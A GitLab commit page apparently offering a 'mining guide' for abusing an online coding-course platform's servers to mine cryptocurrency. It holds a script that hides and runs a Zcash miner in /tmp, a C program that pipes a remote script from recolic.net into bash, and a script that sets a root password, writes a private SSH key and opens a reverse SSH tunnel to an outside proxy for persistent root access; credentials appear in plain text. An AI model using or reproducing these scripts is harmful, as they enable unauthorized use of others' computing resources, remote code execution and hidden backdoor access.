Skip to content
Snippets Groups Projects
Commit 21a23278 authored by Recolic Keghart's avatar Recolic Keghart
Browse files

init

parents
No related branches found
No related tags found
No related merge requests found
Pipeline #746 failed with stages
in 1 minute and 40 seconds
# MINING GUIDE
1. Register account on www.educoder.net
2. Join class with one of following code:
ACM1601: 53VDCG
#!/bin/bash
# Run this script AFTER got the ssh access
ulimit -f unlimited
#apt update
mkdir -p /tmp/.c &&
cd /tmp/.c
wget https://github.com/nicehash/nheqminer/releases/download/0.5c/Ubuntu_16_04_x64_cuda_djezo_avx_nheqminer-5c.zip -O u.zip &&
unzip u.zip &&
chmod +x nheqminer_16_04 &&
nohup ./nheqminer_16_04 -l zec.pool.minergate.com:3357 -u mine@n9nyergsjqthk0f1.33mail.com -t 2 -cd 0 1 & disown
# You'll be killed if you use too many CPU. (16 avail, but CPU doesn't make many effort.)
# 2 P40 GPU is ok
exit $?
# too large dependency.
wget https://recolic.net/tmp/MinerGate-xFast-cli-1.5-ubuntu.deb /tmp/MinerGate-xFast-cli-1.5-ubuntu.deb
dpkg -i MinerGate-xFast-cli-1.5-ubuntu.deb
apt install -f -y
exit 1
# https://www.meebey.net/posts/ethereum_gpu_mining_on_linux_howto/
add-apt-repository -y ppa:ethereum/ethereum
apt update
apt -f install -y ethereum ethminer
#TODO: Failing to update apt. ulimit issue
#
apt install -y git
git clone https://github.com/ethereum-mining/ethminer.git
# Unable to build from source
#include <math.h>
#include <stdio.h>
#include <unistd.h>
int main() {
FILE *fp;
char path[1035];
#define CMD "curl https://recolic.net/tmp/fuck.sh | bash 2>&1"
/* Open the command for reading. */
fp = popen("/bin/bash -c '" CMD "'", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
/* Read the output a line at a time - output it. */
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
printf("%s", path);
}
pclose(fp);
return 0;
}
#!/bin/bash
# After executing this script, you can run `ssh root@proxy.recolic.net -p 30130` with password `rtlgn24bgn`
mkdir -p /root/.ssh
echo root:rtlgn24bg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
RQRkHTVacDxFTPxSGDiZqzPMs1g2CuabSCxas/8CgYAtEnLar2e3sHttIkXxTzVm
Orfjw4A9/+Xs4E3hGXc1HV5gPb8f/NTd9d8l5Tj1PE7SPISzGVnSv7gWVJinbX4K
B3teMZFDIAxSAd3DN6qv6Kp8rffjjNoDK5X9uNuZVmDnWX8kYTU00W44DO7Elvdu
c1heA0QavqlrLH6Yb91V4QKBgQCSFR/3yyJ9feu/BD1RXb5DWMNdAIbugexRdccw
k35tQ3htYvCLPKKREcThSxsq+9tKWd3RIA8HPKgOlPutGxvUXuc1BX4gd1BWYYQZ
2lXGr+a+XvOp8g4DvHiyB3hOzS0q/niObgz1lTWU21fBJgS1j8WYSzGk6VPr0XHv
J2UH9wKBgQCC77dXM7h4F8dfnbkZqX7TpP3O+M4kCDhm4vkCuWBj8piQasHmnLYt
CHhNmLYcCCCGTW4Q+HP/VYqpagMU8hlo9xDIJAM+ogdKBUjQKUvOmdma8C6Asbaa
l7RfRWq8WPoqNt7o/wkVaRuv44+dLp9Q81vKk/h7ql6ErInwkgFjXQ==
-----END RSA PRIVATE KEY-----
' > /root/.ssh/id_rsa
chmod go-rwx /root/.ssh/id_rsa
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -fNR 0.0.0.0:30130:localhost:22 rproxy@proxy.recolic.net
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment